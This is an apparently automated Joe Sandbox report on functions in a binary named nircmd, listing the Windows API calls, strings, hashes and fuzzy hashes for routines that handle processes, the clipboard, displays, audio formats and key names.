API ID: AddressProc$Handle$CloseProcess32memsetstrcpy$CreateFirstLibraryLoadModuleNextOpenProcessSnapshotToolhelp32freememcpystrchr
String ID: :$QueryFullProcessImageNameA$kernel32.dll
API String ID: 1693480479-1018829621
Opcode ID: af33695f128de4a922d7a48133877e5add3c8bd6dae1c6a15b741d68b5fd9b91
Instruction ID: ed4add2408e7d2798f28484c714db48a57a3b38b9a2436512873fd856bfacb69
Opcode Fuzzy Hash: af33695f128de4a922d7a48133877e5add3c8bd6dae1c6a15b741d68b5fd9b91
Instruction Fuzzy Hash: B55138722086C0D6EB36DB26E4847DAB7A5F78C7C0F444015EB8A0BAA9DB7EC555CB00

Function 0000000140007DE4 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 161libraryprocessloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011D84: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011D9B
Part of subcall function 0000000140011D84: LoadLibraryA.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DAD
Part of subcall function 0000000140011D84: GetProcAddress.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DC9
Part of subcall function 0000000140011D84: FreeLibrary.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DE6
Part of subcall function 0000000140011D84: LoadLibraryA.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011DFB
Part of subcall function 0000000140011D84: GetProcAddress.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011E13
Part of subcall function 0000000140011D84: FreeLibrary.KERNEL32(?,?,?,?,?,?,0000000140011A42,?,?,?,?,?,?,?,?), ref: 0000000140011E2D
Part of subcall function 0000000140011D84: LoadLibraryA.KERNEL32 ref: 0000000140011E4F
Part of subcall function 0000000140011D84: GetProcAddress.KERNEL32 ref: 0000000140011E67
Part of subcall function 0000000140011D84: FreeLibrary.KERNEL32 ref: 0000000140011E90
Part of subcall function 0000000140011D84: GetLastError.KERNEL32 ref: 0000000140011E96
Part of subcall function 0000000140011D84: CloseHandle.KERNEL32 ref: 0000000140011EA3

Part of subcall function 0000000140001438: LoadLibraryA.KERNEL32 ref: 000000014000144E
Part of subcall function 0000000140001438: GetProcAddress.KERNEL32 ref: 0000000140001461
Part of subcall function 0000000140001438: GetModuleHandleA.KERNEL32 ref: 0000000140001472
Part of subcall function 0000000140001438: GetProcAddress.KERNEL32 ref: 0000000140001482

FreeLibrary.KERNEL32 ref: 0000000140007E4A
LoadLibraryA.KERNEL32 ref: 0000000140007F1C
GetProcAddress.KERNEL32 ref: 0000000140007F33
memset.MSVCRT ref: 0000000140007F69
GetLastError.KERNEL32 ref: 0000000140008008
FreeLibrary.KERNEL32 ref: 0000000140008021
memset.MSVCRT ref: 000000014000803A
CreateProcessA.KERNEL32 ref: 00000001400080A0
GetLastError.KERNEL32 ref: 00000001400080AB
FreeLibrary.KERNEL32 ref: 00000001400080BD

Strings

h, xrefs: 0000000140008090
SeTcbPrivilege, xrefs: 0000000140007DFC
CreateEnvironmentBlock, xrefs: 0000000140007F22
Userenv.dll, xrefs: 0000000140007F15

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeProc$Load$ErrorLast$HandleProcessmemset$CloseCreateCurrentModule
String ID: CreateEnvironmentBlock$SeTcbPrivilege$Userenv.dll$h
API String ID: 444500478-1648149317
Opcode ID: 72cc7c1ee5d1ed25eb15cd1e7c5b69051f98adf0288a1454822f2fb17b2dbafd
Instruction ID: ef5eb6909e403afc12ee13635b3aa0ef608deb661ccee83677e4f7ab1a00e557
Opcode Fuzzy Hash: 72cc7c1ee5d1ed25eb15cd1e7c5b69051f98adf0288a1454822f2fb17b2dbafd
Instruction Fuzzy Hash: 7E71E672209B8095E7B2DB12F840BDAB3A5F78C780F904116EB8D47B68DF39C959DB00

Function 0000000140001BBC Relevance: 21.1, APIs: 14, Instructions: 102clipboardfileregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000288C: CreateFileA.KERNEL32 ref: 00000001400028AF

memset.MSVCRT ref: 0000000140001C05
ReadFile.KERNEL32 ref: 0000000140001C2E
ReadFile.KERNEL32 ref: 0000000140001C76
OpenClipboard.USER32 ref: 0000000140001C7E
EmptyClipboard.USER32 ref: 0000000140001C8C
RegisterClipboardFormatA.USER32 ref: 0000000140001CBD
GlobalAlloc.KERNEL32 ref: 0000000140001CCD
GlobalLock.KERNEL32 ref: 0000000140001CD9
SetFilePointer.KERNEL32 ref: 0000000140001CF5
ReadFile.KERNEL32 ref: 0000000140001D1A
GlobalUnlock.KERNEL32 ref: 0000000140001D23
SetClipboardData.USER32 ref: 0000000140001D30
CloseClipboard.USER32 ref: 0000000140001D4A
CloseHandle.KERNEL32 ref: 0000000140001D53

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ClipboardFile$GlobalRead$Close$AllocCreateDataEmptyFormatHandleLockOpenPointerRegisterUnlockmemset
String ID:
API String ID: 483902583-0
Opcode ID: 271f88af39ef712f2069322313a79b1227e5a94b0b85de0d22cd452094de7dab
Instruction ID: c69f690c0d40c9222e839b8eed1170a8b1890575274e8487ee0b18f5c7c8be1b
Opcode Fuzzy Hash: 271f88af39ef712f2069322313a79b1227e5a94b0b85de0d22cd452094de7dab
Instruction Fuzzy Hash: 8E416A72224A4092EB6ADF23E848BDA6361F788BD5F405116FF5A07AA4DF3DC549CB10

Function 0000000140004490 Relevance: 19.7, APIs: 13, Instructions: 162COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00000001400044B9
EnumDisplayMonitors.USER32 ref: 00000001400044D7
free.MSVCRT ref: 00000001400044E6
memset.MSVCRT ref: 0000000140004509
memset.MSVCRT ref: 000000014000451B
EnumDisplayDevicesA.USER32 ref: 0000000140004555
memcpy.MSVCRT ref: 00000001400045EE
memcpy.MSVCRT ref: 0000000140004609

Part of subcall function 0000000140004330: memset.MSVCRT ref: 0000000140004378
Part of subcall function 0000000140004330: EnumDisplaySettingsA.USER32 ref: 000000014000438F

Part of subcall function 0000000140004330: GetLastError.KERNEL32 ref: 00000001400043E1

memset.MSVCRT ref: 0000000140004684
_mbsicmp.MSVCRT ref: 00000001400046AA
memcpy.MSVCRT ref: 00000001400046C6
memcpy.MSVCRT ref: 000000014000473F
EnumDisplayDevicesA.USER32 ref: 0000000140004758

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: DisplayEnummemcpymemset$Devicesfree$ErrorLastMonitorsSettings_mbsicmp
String ID:
API String ID: 1639700516-0
Opcode ID: 304827a3127d4a5bdf69b16fafecb2355fd447e7cb9098548c500361c931fcad
Instruction ID: 637f7e620fe251cd115490af5a8a2b3b32472531be00e9bef735f51ec9f7a446
Opcode Fuzzy Hash: 304827a3127d4a5bdf69b16fafecb2355fd447e7cb9098548c500361c931fcad
Instruction Fuzzy Hash: 4E716FBA6087C196E721EF26E4403DFB7A5F3C8788F504105EB8947A6ADB79C569CF00

Function 0000000140003460 Relevance: 19.6, APIs: 13, Instructions: 88fileclipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 000000014000347C
GetClipboardData.USER32 ref: 000000014000348D
GlobalLock.KERNEL32 ref: 00000001400034A2
CreateFileA.KERNEL32 ref: 00000001400034D9
SetFilePointer.KERNEL32 ref: 00000001400034EE
GetFileSize.KERNEL32 ref: 0000000140003505
WriteFile.KERNEL32 ref: 000000014000352D
wcslen.MSVCRT ref: 000000014000353C
WriteFile.KERNEL32 ref: 0000000140003555
WriteFile.KERNEL32 ref: 000000014000357E
CloseHandle.KERNEL32 ref: 0000000140003587
GlobalUnlock.KERNEL32 ref: 0000000140003595
CloseClipboard.USER32 ref: 000000014000359B

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: File$ClipboardWrite$CloseGlobal$CreateDataHandleLockOpenPointerSizeUnlockwcslen
String ID:
API String ID: 2754100261-0
Opcode ID: fb3eb45e02e49d35a7c808b506a5959101515ac6b39324c226a5f7fb066a4e8f
Instruction ID: 278a198e614677eb6afed1273267a4e9d32d1a56db9bac36d709b89ee6aafe43
Opcode Fuzzy Hash: fb3eb45e02e49d35a7c808b506a5959101515ac6b39324c226a5f7fb066a4e8f
Instruction Fuzzy Hash: D4311971204A4186EB26DF27B944B99B7A1F78CBD5F484225FB4A0BBB4DF3DC5498B00

Function 00000001400026E4 Relevance: 13.6, APIs: 9, Instructions: 55clipboardwindowCOMMON

Download Yara Rule

APIs

GetObjectA.GDI32 ref: 000000014000273C
GetDC.USER32 ref: 0000000140002749
CreateDIBitmap.GDI32 ref: 0000000140002774
ReleaseDC.USER32 ref: 0000000140002782
OpenClipboard.USER32 ref: 000000014000278A
EmptyClipboard.USER32 ref: 0000000140002794
SetClipboardData.USER32 ref: 00000001400027A2
CloseClipboard.USER32 ref: 00000001400027A8
DeleteObject.GDI32 ref: 00000001400027B6

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Clipboard$Object$BitmapCloseCreateDataDeleteEmptyOpenRelease
String ID:
API String ID: 3734427525-0
Opcode ID: 2ee4699f7e54552f39dc1c75ba184e0a9f52eba41ec52a202aaa8e6ff451679d
Instruction ID: b802e652a4c781d6b228e8acbfbfab419a3eb1019eabbd7ff838afd257ef1046
Opcode Fuzzy Hash: 2ee4699f7e54552f39dc1c75ba184e0a9f52eba41ec52a202aaa8e6ff451679d
Instruction Fuzzy Hash: 4D210B71208B8482EB269B22F41879AB375FB8CBD5F444025EB4E4B668DF7DC448C741

Function 00000001400036C0 Relevance: 12.0, APIs: 8, Instructions: 41clipboardmemorystringCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 00000001400036D9
strlen.MSVCRT ref: 00000001400036E7
GlobalAlloc.KERNEL32 ref: 00000001400036FA
GlobalLock.KERNEL32 ref: 000000014000370B
memcpy.MSVCRT ref: 000000014000371A
GlobalUnlock.KERNEL32 ref: 0000000140003722
SetClipboardData.USER32 ref: 000000014000372E
CloseClipboard.USER32 ref: 000000014000373A

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyLockUnlockmemcpystrlen
String ID:
API String ID: 3116012682-0
Opcode ID: 5486ec16f31df42d0f73b6e3c540f55b943ac455c19588f72c45d8f6ec40e0f4
Instruction ID: a41993afba0805fd620efad0e6c8d0e0ce27379e36244ca6a759b907d6220151
Opcode Fuzzy Hash: 5486ec16f31df42d0f73b6e3c540f55b943ac455c19588f72c45d8f6ec40e0f4
Instruction Fuzzy Hash: AD017C7120868087EA02AF63F848399A361FB48FC1F484024FF4E0BB69CF3DC5868700

Function 0000000140003B64 Relevance: 7.6, APIs: 5, Instructions: 56filestringCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32 ref: 0000000140003B94
FindNextFileA.KERNEL32 ref: 0000000140003BAB
FindClose.KERNEL32 ref: 0000000140003BBF
strlen.MSVCRT ref: 0000000140003BE4
strlen.MSVCRT ref: 0000000140003BEF

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Find$Filestrlen$CloseFirstNext
String ID:
API String ID: 661139469-0
Opcode ID: caa4555100c915afd4e01d6bebafbf778538a2d92feb6952a5ab3ee5d86551d1
Instruction ID: d13add1d2ff5988385b25eebd5bf377e428e0fab13b15c69c85cbfee361c10d8
Opcode Fuzzy Hash: caa4555100c915afd4e01d6bebafbf778538a2d92feb6952a5ab3ee5d86551d1
Instruction Fuzzy Hash: 31216A72201A4081EB12DF26E4407DC77A8F789FE8F984222FB694B7A9CF79C542C300

Function 0000000140002C80 Relevance: 7.5, APIs: 5, Instructions: 41filestringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT ref: 0000000140002C98
strrchr.MSVCRT ref: 0000000140002CA7
FindFirstFileA.KERNEL32 ref: 0000000140002CC5
FindNextFileA.KERNEL32 ref: 0000000140002CF8
FindClose.KERNEL32 ref: 0000000140002D05

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextstrcpystrrchr
String ID:
API String ID: 1245589722-0
Opcode ID: 910786598e5d435a8a9ff82bebefb36c3e02d9f4283bf6c12d2b63e921746403
Instruction ID: 015854f4e76dd3a35983573dd1b3b8a6d787d1de89efc91eed4372a910bfa56b
Opcode Fuzzy Hash: 910786598e5d435a8a9ff82bebefb36c3e02d9f4283bf6c12d2b63e921746403
Instruction Fuzzy Hash: 3811AD7120968081EA32DB26B4803E953A0A78C7D4F484221FBAE4B7E5DB3CC509C700

Function 000000014000400C Relevance: 4.6, APIs: 3, Instructions: 61comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32 ref: 0000000140004042
MultiByteToWideChar.KERNEL32 ref: 00000001400040AB
CoUninitialize.OLE32 ref: 00000001400040E5

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiUninitializeWide
String ID:
API String ID: 350316761-0
Opcode ID: cc3e032d867f99d1e13ae4fc5c214053d257773a60e739736fbf50c22d7bb053
Instruction ID: 8753275f31e9ba9882de33253c6482eda5d8f23547b1328accfa0723b118336f
Opcode Fuzzy Hash: cc3e032d867f99d1e13ae4fc5c214053d257773a60e739736fbf50c22d7bb053
Instruction Fuzzy Hash: 6721EA76304B8582DB20CF6AE48878AB7A1F788FD4F448221EB5D87B64DF3AC549C700

Function 0000000140002BB0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,?,?,0000000140013BEC), ref: 0000000140002BCE

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: ada5291300686dcf0f0a66b6616c5012a212a71fd53881ca22a0db5172722a72
Instruction ID: d09e19c19d1dc85cfd1a90655b4e7daef93ee698defbac0b7edc2f71c64746f5
Opcode Fuzzy Hash: ada5291300686dcf0f0a66b6616c5012a212a71fd53881ca22a0db5172722a72
Instruction Fuzzy Hash: 6FD092B4A0161189EF169F02E8447C03360B39C384F800502E21C0B270D77A429AC719

Function 0000000140004A18 Relevance: 168.2, APIs: 1, Strings: 95, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCRT ref: 000000014000504A

Strings

ADPCM_8kHzMono, xrefs: 0000000140004F48
!, xrefs: 0000000140004CE5
ADPCM_22kHzMono, xrefs: 0000000140004FAC
%, xrefs: 0000000140004D49
, xrefs: 0000000140004CCC
12kHz16BitStereo, xrefs: 0000000140004B2E
1, xrefs: 0000000140004E75
11kHz16BitMono, xrefs: 0000000140004AB1
5, xrefs: 0000000140004ED9
GSM610_44kHzMono, xrefs: 0000000140005029
16kHz8BitStereo, xrefs: 0000000140004B60
11kHz16BitStereo, xrefs: 0000000140004ACA
CCITT_uLaw_22kHzMono, xrefs: 0000000140004EE4
11kHz8BitMono, xrefs: 0000000140004A99
44kHz16BitStereo, xrefs: 0000000140004D22
CCITT_ALaw_11kHzStereo, xrefs: 0000000140004E03
48kHz16BitStereo, xrefs: 0000000140004D86
44kHz8BitMono, xrefs: 0000000140004CD7
24kHz8BitStereo, xrefs: 0000000140004C28
6, xrefs: 0000000140004EF2
=, xrefs: 0000000140004FA1
4, xrefs: 0000000140004EC0
8kHz16BitStereo, xrefs: 0000000140004A8D
$, xrefs: 0000000140004D30
', xrefs: 0000000140004D7B
8, xrefs: 0000000140004F2B
CCITT_ALaw_22kHzStereo, xrefs: 0000000140004E35
CCITT_uLaw_8kHzStereo, xrefs: 0000000140004E99
", xrefs: 0000000140004CFE
32kHz16BitStereo, xrefs: 0000000140004CBE
ADPCM_44kHzStereo, xrefs: 0000000140004FDD
CCITT_ALaw_8kHzMono, xrefs: 0000000140004DB8
44kHz8BitStereo, xrefs: 0000000140004CF0
8kHz8BitMono, xrefs: 0000000140004A66
CCITT_ALaw_11kHzMono, xrefs: 0000000140004DEA
48kHz8BitStereo, xrefs: 0000000140004D54
24kHz8BitMono, xrefs: 0000000140004C0F
,, xrefs: 0000000140004DF8
#, xrefs: 0000000140004D17
ADPCM_44kHzMono, xrefs: 0000000140004FCA
32kHz8BitStereo, xrefs: 0000000140004C81
GSM610_11kHzMono, xrefs: 0000000140005003
12kHz16BitMono, xrefs: 0000000140004B15
22kHz8BitStereo, xrefs: 0000000140004BC4
12kHz8BitMono, xrefs: 0000000140004AE3
ADPCM_11kHzMono, xrefs: 0000000140004F7A
48kHz16BitMono, xrefs: 0000000140004D6D
., xrefs: 0000000140004E2A
24kHz16BitStereo, xrefs: 0000000140004C5A
GSM610_8kHzMono, xrefs: 0000000140004FF0
8kHz8BitStereo, xrefs: 0000000140004A75
CCITT_uLaw_44kHzMono, xrefs: 0000000140004F0B
11kHz8BitStereo, xrefs: 0000000140004AA5
CCITT_uLaw_11kHzStereo, xrefs: 0000000140004ECB
*, xrefs: 0000000140004DC6
/, xrefs: 0000000140004E43
), xrefs: 0000000140004DAD
CCITT_ALaw_44kHzMono, xrefs: 0000000140004E4E
ADPCM_8kHzStereo, xrefs: 0000000140004F61
48kHz8BitMono, xrefs: 0000000140004D3B
CCITT_uLaw_11kHzMono, xrefs: 0000000140004EB2
CCITT_uLaw_22kHzStereo, xrefs: 0000000140004EFD
;, xrefs: 0000000140004F6F
22kHz8BitMono, xrefs: 0000000140004BAB
16kHz16BitMono, xrefs: 0000000140004B79
32kHz8BitMono, xrefs: 0000000140004C68
-, xrefs: 0000000140004E11
ADPCM_11kHzStereo, xrefs: 0000000140004F93
CCITT_ALaw_22kHzMono, xrefs: 0000000140004E1C
ADPCM_22kHzStereo, xrefs: 0000000140004FB7
&, xrefs: 0000000140004D62
24kHz16BitMono, xrefs: 0000000140004C41
44kHz16BitMono, xrefs: 0000000140004D09
TrueSpeech_8kHz1BitMono, xrefs: 0000000140004D9F
CCITT_ALaw_8kHzStereo, xrefs: 0000000140004DD1
12kHz8BitStereo, xrefs: 0000000140004AFC
9, xrefs: 0000000140004F3D
:, xrefs: 0000000140004F56
2, xrefs: 0000000140004E8E
16kHz16BitStereo, xrefs: 0000000140004B92
(, xrefs: 0000000140004D94
3, xrefs: 0000000140004EA7
CCITT_ALaw_44kHzStereo, xrefs: 0000000140004E67
0, xrefs: 0000000140004E5C
CCITT_uLaw_44kHzStereo, xrefs: 0000000140004F24
GSM610_22kHzMono, xrefs: 0000000140005016
8kHz16BitMono, xrefs: 0000000140004A81
CCITT_uLaw_8kHzMono, xrefs: 0000000140004E80
7, xrefs: 0000000140004F12
22kHz16BitStereo, xrefs: 0000000140004BF6
+, xrefs: 0000000140004DDF
32kHz16BitMono, xrefs: 0000000140004CA5
<, xrefs: 0000000140004F88
22kHz16BitMono, xrefs: 0000000140004BDD
16kHz8BitMono, xrefs: 0000000140004B47

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp
String ID: $!$"$#$$$%$&$'$($)$*$+$,$-$.$/$0$1$11kHz16BitMono$11kHz16BitStereo$11kHz8BitMono$11kHz8BitStereo$12kHz16BitMono$12kHz16BitStereo$12kHz8BitMono$12kHz8BitStereo$16kHz16BitMono$16kHz16BitStereo$16kHz8BitMono$16kHz8BitStereo$2$22kHz16BitMono$22kHz16BitStereo$22kHz8BitMono$22kHz8BitStereo$24kHz16BitMono$24kHz16BitStereo$24kHz8BitMono$24kHz8BitStereo$3$32kHz16BitMono$32kHz16BitStereo$32kHz8BitMono$32kHz8BitStereo$4$44kHz16BitMono$44kHz16BitStereo$44kHz8BitMono$44kHz8BitStereo$48kHz16BitMono$48kHz16BitStereo$48kHz8BitMono$48kHz8BitStereo$5$6$7$8$8kHz16BitMono$8kHz16BitStereo$8kHz8BitMono$8kHz8BitStereo$9$:$;$<$=$ADPCM_11kHzMono$ADPCM_11kHzStereo$ADPCM_22kHzMono$ADPCM_22kHzStereo$ADPCM_44kHzMono$ADPCM_44kHzStereo$ADPCM_8kHzMono$ADPCM_8kHzStereo$CCITT_ALaw_11kHzMono$CCITT_ALaw_11kHzStereo$CCITT_ALaw_22kHzMono$CCITT_ALaw_22kHzStereo$CCITT_ALaw_44kHzMono$CCITT_ALaw_44kHzStereo$CCITT_ALaw_8kHzMono$CCITT_ALaw_8kHzStereo$CCITT_uLaw_11kHzMono$CCITT_uLaw_11kHzStereo$CCITT_uLaw_22kHzMono$CCITT_uLaw_22kHzStereo$CCITT_uLaw_44kHzMono$CCITT_uLaw_44kHzStereo$CCITT_uLaw_8kHzMono$CCITT_uLaw_8kHzStereo$GSM610_11kHzMono$GSM610_22kHzMono$GSM610_44kHzMono$GSM610_8kHzMono$TrueSpeech_8kHz1BitMono
API String ID: 2884411883-1037774944
Opcode ID: d70550c0440889a686cea5063e2ef8aa3b50c21217f2e4e1d352cad3864b59f0
Instruction ID: 3e39611247d011695e157f3766e747293e5343851f00120df62e4fdd221dc957
Opcode Fuzzy Hash: d70550c0440889a686cea5063e2ef8aa3b50c21217f2e4e1d352cad3864b59f0
Instruction Fuzzy Hash: CDF10F76209B84D9E762CF01E8483C977B8F34C394F810265DB9C4B764EBBAC659CB41

Function 0000000140008700 Relevance: 149.1, APIs: 44, Strings: 41, Instructions: 343
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 000000014000871A
_stricmp.MSVCRT ref: 0000000140008763
_stricmp.MSVCRT ref: 000000014000877F
_stricmp.MSVCRT ref: 000000014000879B

Strings

plus, xrefs: 0000000140008989
pagedown, xrefs: 0000000140008A69
enter, xrefs: 0000000140008855
comma, xrefs: 00000001400089A5
pageup, xrefs: 0000000140008A4D
delete, xrefs: 000000014000896D
divide, xrefs: 0000000140008B0C
shift, xrefs: 0000000140008759
leftshift, xrefs: 0000000140008775
alt, xrefs: 0000000140008801
left, xrefs: 00000001400088E1
backspace, xrefs: 0000000140008B43
rightmenu, xrefs: 0000000140008839
scroll, xrefs: 0000000140008BB0
rightshift, xrefs: 0000000140008791
insert, xrefs: 0000000140008951
leftctrl, xrefs: 00000001400087C9
seperator, xrefs: 0000000140008AF0
pause, xrefs: 0000000140008B5F
multiply, xrefs: 0000000140008A9C
leftmenu, xrefs: 000000014000881D
subtract, xrefs: 0000000140008AD4
capslock, xrefs: 0000000140008B7B
period, xrefs: 00000001400089DD
add, xrefs: 0000000140008AB8
cancel, xrefs: 0000000140008B28
spc, xrefs: 000000014000888D
rwin, xrefs: 0000000140008A15
end, xrefs: 0000000140008935
down, xrefs: 00000001400088A9
tab, xrefs: 0000000140008A85
rightctrl, xrefs: 00000001400087E5
esc, xrefs: 0000000140008871
printscreen, xrefs: 0000000140008BC9
home, xrefs: 0000000140008919
apps, xrefs: 0000000140008A31
right, xrefs: 00000001400088FD
numlock, xrefs: 0000000140008B97
ctrl, xrefs: 00000001400087AD
minus, xrefs: 00000001400089C1
lwin, xrefs: 00000001400089F9

Memory Dump Source

Source File: 0000000F.00000002.2526432556.0000000140001000.00000020.00000001.01000000.00000013.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000F.00000002.2526400716.0000000140000000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 0000000F.00000002.2526550604.000000014001E000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_140000000_nircmd.jbxd

Yara matches

Similarity

API ID: _stricmp$strlen
String ID: add$alt$apps$backspace$cancel$capslock$comma$ctrl$delete$divide$down$end$enter$esc$home$insert$left$leftctrl$leftmenu$leftshift$lwin$minus$multiply$numlock$pagedown$pageup$pause$period$plus$printscreen$right$rightctrl$rightmenu$rightshift$rwin$scroll$seperator$shift$spc$subtract$tab
API String ID: 2980640259-1786004257
